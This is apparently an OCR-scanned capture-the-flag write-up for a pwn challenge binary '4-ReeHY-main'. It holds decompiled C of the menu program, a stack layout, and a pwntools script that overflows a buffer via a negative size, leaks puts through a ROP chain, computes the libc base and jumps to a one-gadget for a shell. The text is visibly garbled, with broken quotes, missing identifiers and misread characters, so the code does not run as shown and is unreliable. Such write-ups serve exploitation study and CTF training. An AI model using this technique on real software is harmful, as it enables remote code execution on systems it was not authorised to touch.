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ssize t sub 400943()
{

puts("******************************“);

puts ("Welcome to my black weapon storage!");
puts("Now you can use it to do some evil things");
puts("1l. create exploit");

puts("2. delete exploit");

puts("3. edit exploit");

puts("4. show exploit");

puts("5. exit");
puts(“******************************“);

return write(l, "$ ", 2uLL);
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int sub 4009D1()

{
int result; // eax
char buf; // [rsp+0h] [rbp-90h]
void *dest; // [rsp+80h)] [rbp-10h)
int v3; // [rsp+88h] [rbp-8h]
size t nbytes; // [rsp+8Ch] [rbp-4h)

result = dword_ 6020AC;
if ( dword 6020AC <= 4 )
r
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}

puts("Input size");
result = read int();
LODWORD (nbytes) = result;
if ( result <= 0x1000 )

{

}

puts("Input cun");
result = read int(); |
v3 = result;

if ( result <= 4 )

{

}

dest = malloc((signed int)nbytes);
puts("Input content");
if ( (signed int)nbytes > 0x70 )

read(0, dest, (unsigned int)nbytes);

}
else
read(0, &buf, (unsigned int)nbytes);
memcpy (dest, &buf, (signed int)nbytes);
}

*( DWORD *)(gword 6020C0 + 4LL * v3) = nbytes;
*(( _OWORD *)&unk 6020E0 + 2 * v3) = dest;
dword 6020E8[4 * v3i] = 1;

++dword 6020AC;

result = fflush(stdout);

return result;

}
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| _int64 sub 400B21()

{

__int64 result; // rax
int vl; // [rsp+Ch] [rbp-4h]

puts("Chose one to dele");

result

= read int();

vl = result;
if ( (signed int)result <= 4 )

}

free(*((void **)&unk 6020E0 + 2 * (signed int)result));
dword 6020E8[4 * v1] = 0;

puts("dele success!");
result = (unsigned int)(dword_ 6020AC-- - 1);

return result;
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Eigned int sub 400BAl()

signed int result; // eax
signed int vl; // [rsp+Ch] [rbp-4h]

puts("Chose one to edit");
result = read_int();

vl = result;

if ( result <= 4 )

result = dword_6020E8[4 * result];
if ( result == 1)

puts("Input the content");
read(0, *((void **)&unk 6020E0 + 2 * v1), *(unsigned int *)(4LL * vl + gword_6020C0));
result = puts("Edit success!");
}
}

return result;
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L[int sub_400C42()
{

}

return puts("No~No~-No~");
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0000000000090 buf db 128 dup(?)
0000000000010 dest dg ?
0000000000008 var 8 dd ?
0000000000004 nbytes dg ?
0000000000004 db ? ; undefined
0000000000005 db ? ; undefined
0000000000006 db ? ; undefined
0000000000007 |db ? ; undefined
0000000000008 r db 8 dup(?)
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‘a’ * 128+p64(0)+p32(0)+p32(0)+'a * 8
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from pwn import*

process('./4-ReeHY-main")
ELF('./4-ReeHY-main')
= a.libc

context.log level = 'debug'

def create(size,index,string):
p.recvuntil('s$ ')
.sendline( 'peanuts")
.recvuntil('$")
.sendline('1")
.recvuntil('Input size\n")
.sendline(str(size))
.recvuntil('Input cun\n')

.sendline(str(index))
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.recvuntil('Input content\n')
p.sendline(str(string))
def delte(index):
p.recvuntil('Chose one to dele\n')
p.sendline(str(index))
def edit(index,string):
.recvuntil('Chose one to edit\n')
.sendline(str(index))
.recvuntil('Input the content\n')
.sendline(str(string))
raw_input()
pop_rdi = 0x0400da3
pop_rsi_rl5 = 0x400dal
put_got = 0x602020
put_plt = 0x4006D0
create(-1,1,"'a"'*128+p64(0)+p32(0)+p32(0)+"a"'*8+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(0x0400C8C))

puts_addr = u64(p.recvuntil('\n")[:6].1just(8,"'\x00"))

print hex(puts_addr)

libc_addr = puts_addr - e.symbols['puts']

print hex(libc_addr)
create(-1,1,"'a'*128+p64(0)+p32(0)+p32(0)+'a'*8+p64(0x45216+1ibc_addr))

p.interactive()
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